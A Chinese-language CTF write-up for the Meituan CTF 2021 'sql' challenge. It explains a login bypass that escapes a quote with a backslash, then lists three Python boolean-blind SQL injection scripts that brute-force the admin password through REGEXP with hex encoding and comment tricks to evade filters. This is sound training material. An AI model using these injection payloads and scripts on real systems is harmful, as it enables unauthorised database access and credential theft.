[大数据]美团CTF2021 sql

• MySQL 正则表达式
• MySQL LIKE 子句
• Python chr() 函数
• Python ord() 函数
• string — 常见的字符串操作
• MySQL BINARY 函数

首先按照常规思路进行fuzz，发现被ban了很多东西，不过仍然保留了许多可用函数。看到 =、like 被ban自然而然能想到用 regexp 实现查询；看到单引号被ban自然而然能想到用 \ 转义单引号实现注入。首先尝试payload：username=admin\&password=||1=1%23，回显 flag is not here! ，显然是此地无银三百两。

综上，这道题的sql语句应该是：select * from users where username='$_POST["username"]' and password='$_POST["password"]';。当我们传入 payload 后，sql语句就变成了：select * from users where username='admin\' and password='||1#';。由于第二个单引号被转义了，第1个单引号只能去和第3个单引号进行闭合，后台接收到的 username 就变成了admin\' and password=这个整体，而这个用户名显然不存在，所以理应显示 ‘账号或密码错误’。但是别忘了这样以来，password 参数就成为了可控变量，1=1 显然为真，所以这里回显的不是 ‘账号或密码错误’，而是 flag is not here！

根据上述思路，我们可以编写脚本逐个字符爆破出 password，其实也就相当于布尔盲注。

下面贴几个查询到的文章和EXP：

美团CTF2021部分writeup

import requests
import time
import string
import re

def ord2hex(letter):
    result = ''
    for i in letter:
        result += hex(ord(i))
    result = result.replace('0x','')
    return '0x'+result

def hex2ord(letter):
    result = ''
    for i in range(0,len(letter),2):
        result += chr(int(letter[i:i+2], 16))
    return result

url = "http://eci-2ze7rwkw5ezzl02e1ami.cloudeci1.ichunqiu.com/index.php"
str_list = string.hexdigits
flag = "^" # 使用^从头匹配
session = requests.session()
for n in range(1, 100):
    length = len(flag)
    for i in str_list:
        data = {
            'username':'admin\\',
            "password": "||hex(password)/**/REGEXP/**/" + ord2hex(flag + re.escape(i)) + "#"
        }
        # print(data["password"])
        res = session.post(url=url, data=data)
        res.encoding = "utf-8"
        time.sleep(0.1)
        if 'flag is not here!' in res.text:
            flag += i
            print(flag)
            break
    if len(flag) == length:
        print(hex2ord(flag.lstrip("^")))
        break
# username: admin
# password: This_1s_thE_Passw0rd
# @@version: 5.5.62-0ubuntu0.14.04.1
# database(): ctf

第三届美团网络安全高校挑战赛（初赛）Writeup by X1cT34m

import os
import requests as req

def ord2hex(string):
  result = ''
  for i in string:
    result += hex(ord(i))
  result = result.replace('0x','')
  return '0x'+result

url = "http://eci-2zecwo25ej0i246rbyi7.cloudeci1.ichunqiu.com/index.php"
string = [ord(i) for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_']
headers = {
      'User-Agent':'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',
      'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
      'Connection':'keep-alive'
    }

res = ''
for i in range(50):
  for j in string:
    passwd = ord2hex('^'+res+chr(j))
    # print(passwd)
    passwd = 'or/**/password/**/regexp/**/binary/**/{}#'.format(passwd)
    data = {
      'username':"admin\\",
      'password':passwd
    }

    r = req.post(url, data=data, headers=headers)
    # print(r.text)
    if "flag is not here!" in r.text:
      res += chr(j)
      print(res)
      break

第三届美团网络安全高校挑战赛（初赛）部分writeUp

import requests
import time
def str2int(mystr):
    i = 0
    myint = 0
    while (i < len(mystr)):
        myint += ord(mystr[i]) * pow(pow(2, 8), len(mystr) - i - 1)
        i += 1
    return myint
sess = requests.Session()
url = 'http://eci-2zea89kqieujgo38pawk.cloudeci1.ichunqiu.com/index.php'
f = '账号或密码错误'  # 错误时网页包含内容
y = 'flag is not here'  # 正确时网页包含内容
start = 0  # 字符串的开始字符位置
strlen = 80  # 待爆破字符串的长度
sleep_time = 0
ostr = '^'
# str2find = '(database())' # CTF
# str2find = 'password' # This_1s_thE_Passw0rd
str2find = 'username'
# str2find='(select flag from flag)' # 想查询的字符串、语句；可能需要外加括号
# str2find='(select `2` from (select 1,2 union select * from user)a limit 1,1)'
for j in range(start, start+strlen):
    for i in range(32, 127):  # 可见字符范围
        # for i in range(95,127):#可见字符范围
        if i == 46 or i == 42 or i == 43 or i == 63 or i==94:  # 略过一些特殊符号（$ . * ? ^等）
            continue
        time.sleep(sleep_time)
        # regexp binary 0x5e61;
        temp_str = ostr+chr(i)
        ent = '{} regexp binary {}'.format(
            str2find, hex(str2int(temp_str)))  # 待判断的事实语句
        payload = "||{}#".format(ent)  # 注入语句
        # print(payload)
        # exit()
        # data数据包的构造
        data = {
            'username': '\\',
            'password': payload.replace(' ', '/**/')
        }
        sess.get(url)
        res = sess.post(url, data=data)
        res.encoding = res.apparent_encoding  # 中文编码
        text = res.text
        if f in text:
            continue
        elif y in text:
            ostr += chr(i)
            print(ostr, j)
            break
        else:  # 即非正也非负的异常情况
            print('error:', text)
            break
print(ostr)